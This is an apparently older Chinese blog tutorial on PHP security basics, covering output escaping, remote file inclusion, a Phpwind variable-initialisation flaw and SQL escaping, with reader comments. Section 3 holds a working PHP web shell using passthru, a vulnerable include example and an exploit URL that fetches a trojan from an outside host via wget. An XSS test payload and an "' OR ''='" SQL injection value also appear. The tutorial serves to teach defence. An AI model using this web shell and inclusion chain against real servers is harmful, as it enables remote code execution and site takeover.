简单讲解一下PHP编程的安全要点

> PHP 的代码安全一直是一个重点,我们需要在存储数据的之前过滤,需要在读取之后转义。
> 以防范有可能出现的攻击。看这个图,人民网微博上线没多久就杯具鸟,╮(╯▽╰)╭。

> 最近又出现了 Phpwind 的几个漏洞,WP2.7 也有出现漏洞,QQMail 也出现XSS。
> P.s. 最近看了《神话》,吕素居然就这样挂了,杯具啊杯具,受不鸟,都不想继续看了。

一. PHP的一些安全要点:

1. 表单数据转意:

> 一般来说,我们如果需要输出获取到的表单数据,输出之前一定要记得转义才好。
> 如果没有转义的话,就会出现漏洞,比如XSS。假设有一个未进行转义的留言本程序。
> 我们在一个输入框中写入以下的代码,代码是JS的一个警告窗口弹出效果。

1
<script>alert('站点已被占领 by XXX黑客团队')</script>

> 这样当大家浏览到这个留言本页面的时候就会弹出一个灰常简单又牛叉的窗口,哈哈。
> 比如下面这个是人民网微博闹出来的一个大乌龙,人民微博一上线就被群体爆菊了。

> 所以,我们需要将 "< " ">" 等一些被执行的入侵代码中包含的字符进行转义。
> 所以我们就需要用到函数 htmlspecialchars,很帅的函数 O(∩_∩)O。
> 这个函数会影响到的字符如下,这样子处理就可以正常查看而且不会被执行啦。

1
2
3
4
5
6
7
8
9
> 1 - & (和号) 成为 &amp;
> 2 - " (双引号) 成为 &quot;
> 3 - ' (单引号) 成为 &#039;
> 4 - < (小于) 成为 &lt;
> 5 - > (大于) 成为 &gt;
 
> 1 - ENT_COMPAT - 默认。仅编码双引号
> 2 - ENT_QUOTES - 编码双引号和单引号
> 3 - ENT_NOQUOTES - 不编码任何引号
1
2
//嘻嘻,用法就应该像下面这个样子呢。
echo htmlspecialchars($_GET['psw'], ENT_QUOTES);

2. 远程包含漏洞:

> 远程包含漏洞出现在 include() require() include_once() require_once() 中。
> 因为这几个函数是可以像下面这个例子一样执行代码的,灰常牛叉的一种功能。

> 这是一个 Phpwind 爆出的漏洞,文件在 apps/groups/index.php。
> 而出现的原因则是变量未初始化,$route 和 $basePath 都没有初始化。

1
2
3
4
5
6
7
8
<?php
if ($route == "groups") {
require_once $basePath . '/action/m_groups.php';
} elseif ($route == "group") {
require_once $basePath . '/action/m_group.php';
} elseif ($route == "galbum") {
require_once $basePath . '/action/m_galbum.php';
}

> 我们影响变量的值使其包含 http://www.evlos.org/action/m_galbum.php。
> 一般来说远程包含PHP文件是需要不支持PHP的空间的,因为支持的话就会包含失败。
> 也就是说,如果可以的话,远程包含一般是包含 m_galbum.txt 这样的文件。
> 所以不支持PHP的空间显示PHP文件的时候,会直接显示源代码的,就等同于文本。

3. 如何利用远程包含漏洞:

> 简单举一个例子,我们把下面的文件保存为 command.txt 文件假设地址如下。
> 类型为纯文本即可。http://tool.evlos.org/file/command.txt。

1
2
3
4
5
6
7
<?php
if (get_magic_quotes_gpc()) {
  $_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);
}
ini_set("max_execution_time",0);
passthru($_REQUEST["cmd"]);
?>

> 假设出现漏洞的文件是这个傻傻的样子,代码如下,O(∩_∩)O 嘎嘎。
> 同时假设地址为 - http://tool.evlos.org/file/index.php。

1
2
3
<?php
  include $_GET['test'];
?>

> 假设木马地址为 - http://tool.evlos.org/file/mm.txt
> 在 Linux 主机上面我们就可以在地址栏输入以下代码将木马传到目标主机上。

1
2
3
http://tool.evlos.org/file/index.php?test=
http://tool.evlos.org/file/command.txt?cmd=
wget http://tool.evlos.org/file/mm.txt -O shell.php

4. SQL 输入转义:

> 过滤了 $_GET $_POST $_COOKIE 几个常见的输入来源之后。
> 我们也要用 mysql_real_escape_string 函数来保护 Mysql 数据库。
> 这是一个简单的防注入技巧,代码如下,这个样子就可以咯。

1
2
3
4
5
6
7
<?php
$sqlc = "UPDATE users SET
  name='.mysql_real_escape_string($user).'
  WHERE id='.mysql_real_escape_string($id).'";
mysql_query($sqlc);
?>
//受影响的字符 \x00 \n \r \ ' " \x1a

> 假设未进行保护,那么就会有可能出现最熟悉的 “or=” Mysql 注入漏洞了。

1
2
3
4
5
6
7
8
9
10
11
<?php
mysql_connect("localhost", "hello", "321");
$sql = "SELECT * FROM users
WHERE user='{$_POST['user']}'
AND password='{$_POST['pwd']}'";
mysql_query($sql);
 
// 假设传输过来的数据像下面这个样子。
// $_POST['user'] = 'john';
// $_POST['pwd'] = "' OR ''='"; 
?>

二. 睡觉去咯:

> 今天看到一个阿三的演讲,描绘了虚拟现实世界结合的完美生活,灰常鸡冻。
> 开一个叫兽处的传送门 - http://www.chunbaba.net/blog/?p=554

> Phpwind 7.5 的漏洞和 WordPress 2.7 的漏洞,它们的详细信息在这里。
> 开俩传送门 - http://www.80vul.com/pwvul/phpwind.txt
> 还有WP的门 - http://www.80vul.com/exp/wordpress.txt

> 最近搜狐上线的搜搜舞文弄墨服务,可以生成藏头诗和层层递进的诗,嘿嘿嘿。
> 传送门 - http://labs.soso.com/app.q?app=makepoem

> :smile: 好咯,小邪就讲解到这里了,好多童鞋都觉得小邪的文章太长了呢。
> 所以小邪以后会尽量短小精悍一点,囧,貌似这篇文章还是有点长。
> 那么祝愿有兴趣阅读的盆友坚挺一点儿,小邪又要去睡觉罗 Zzzz 晚安呐。

Leave a comment

94 Comments.

  1. Auston Jary 坐沙发!#1

    网上有沙发~
    好久没坐过了 :smile:

  2. Auston Jary 坐板凳!#2

    坐个板凳睡觉

  3. 北街 躺地板!#3

    地板来了,我发现网上搜索的WordPress防盗链方法都不行哎,小邪有什么见解吗? :exclaim:

  4. 北街 天花板!#4

    地板太凉了,坐会回去睡觉咯!哈哈

  5. 阿吴 下水道!#5

    最近搜狐上线的搜搜舞文弄墨服务?小马哥看了会哭的!

  6. 太高深,完完全全没看懂

  7. function checkcontent($content)
    {
    if (!get_magic_quotes_gpc()) {
    if (is_array($content)) {
    foreach ($content as $key=>$value) {
    $content[$key] = addslashes($value);
    }
    } else {
    addslashes($content);
    }
    }
    $content = htmlspecialchars($content);
    return $content;
    }
    这个我正在用,效果挺不错,单引号不怕,双引号照杀,or,=,and这些直接跳到错误页面,连结果都不给你看,当然这是后话

  8. 不过or,=和and这些就不需要过滤了,对于我来说,因为你能够用到这些的地方,只是写入,而不是query

  9. 不错!等考完试写个phpwind2.7的漏洞利用!

  10. 学习下PHP过滤方法。。以后用到再补看~~~

  11. 所以嘛,找个用户群少的程序,就很少有人去找它的漏洞~
    哎呀,IE6下这个评论框把边栏撑爆啦~~
    杯具的我在公司只有杯具的IE6可以用。。。

  12. 有么玩过asp?asp经常被挂iframe木马是怎么回事?

  13. 看不懂的说! :mad: :mrgreen: :mad: 回去让我家技术支持来学习学习,我想应该会是个很有用的东东

  14. 一个漏洞引发的故事,,,,本来可以作为商机的 结果 有人自己管不住自己 泄露啦

  15. 阿三好牛X,貌似说要开发源码。。没见啊。。。哇哈哈 :mad:

  16. 看起来是不是get方式惹得祸....

    • @g , 不是呐 ~ 要是这样说的话 ~ GET POST Include 什么的都惹祸了 ~
      而这里小邪只是拿GET举个例子而已 ~ 呵呵 ~

  17. php才是我的梦想哈哈...阿吴 我以后会跟你对峙意见的

  18. 这么吓人呢?人民网不是D主办的么?也能杯具?

  19. > P.s. 最近看了《神话》,吕素居然就这样挂了,杯具啊杯具,受不鸟,都不想继续看了。

    整篇文章里就这能看懂,还是部我没看过的电视剧……我都想跳大明湖了,想想太冷算了,我还是回去找《神话》补补课…… :exclaim:

  20. 完全不懂php,虽然我玩过的网站都是php的==

  21. 那个科技宅阿三哥 让苹果泪流满面!

    • @Revolution , 阿三不简单 ~ 哈哈 ~
      微软苹果都要内牛满面了 ~
      但是要是随身性强的设备一出来 ~
      肯定很多地方要用的搜索技术 ~
      谷歌笑而不语 ~

  22. 晕 我看到你在别人的站上留言最有印象的就是 “睡觉去咯” :exclaim:

  23. 第三条不错啊,搞得我都想试试,我正好装了个linux系统。 :cool:

  24. 我是不是坐在地洞里了............ :cry:
    小邪很好的娃....自愧不如。。 :cry:

    • @smigoo , 来来,小邪给MM铺一层软软的垫子 ~
      地洞也是不错的,大冬天的其他几位可都在外面冻着 ╮(╯▽╰)╭ ~
      嘎嘎,太谦虚了你,在设计上,小邪对你也是自愧不如呐 ~

  25. 我觉得你的文章是越来越专业了,看的我一头雾水呀!

  26. 怎么说我的邮箱不正确?换个邮箱

  27. PHP小白前来报道。
    因为配图勾起我一段美好的回忆,所以我觉得太有必要回复一下了 :biggrin:

  28. 人民网这次太丢脸了,呵呵~

    • @疾风 , 呵呵,丢大发了 ~
      貌似消息也被稍稍封锁了 ~
      小邪也是费了老大劲才找到大于600px的配图 ╮(╯▽╰)╭ ~

  29. 看不到人民网被爆的图片·~~~杯具啦 :mrgreen:

  30. 搜搜的藏头诗和递进诗玩过一下,感觉还行,可以玩一玩,还有搜搜是腾讯的,你这么说,马化腾很不爽。

  31. 从安全角度来讲,在开发应用尤其是web应用的时候,所有用户提交的数据都是不安全的,这是基本原则,所以我们才不厌其烦的又是客户端验证又是服务端验证

  32. 对这个不大懂... 有空再来学习一下. :razz:

  33. 订阅里看不到图片 所以我跑来了- -.

    • @mice , 囧,别让小邪升起邪恶的想法,到时候不让阅读器显示图片,您老就得天天跑来,哈哈 ~
      开玩笑的,昨天小邪把图片转移到 Photobucket 去鸟 ~ 所以你看不到 ~

  34. 代码帝,编程狂。。。

Leave a Reply

:evil: :razz: :wink: :rolleyes: :redface: :cry: :biggrin: :lol: :idea: :mrgreen: :mad: :exclaim: more »

[ Ctrl + Enter ]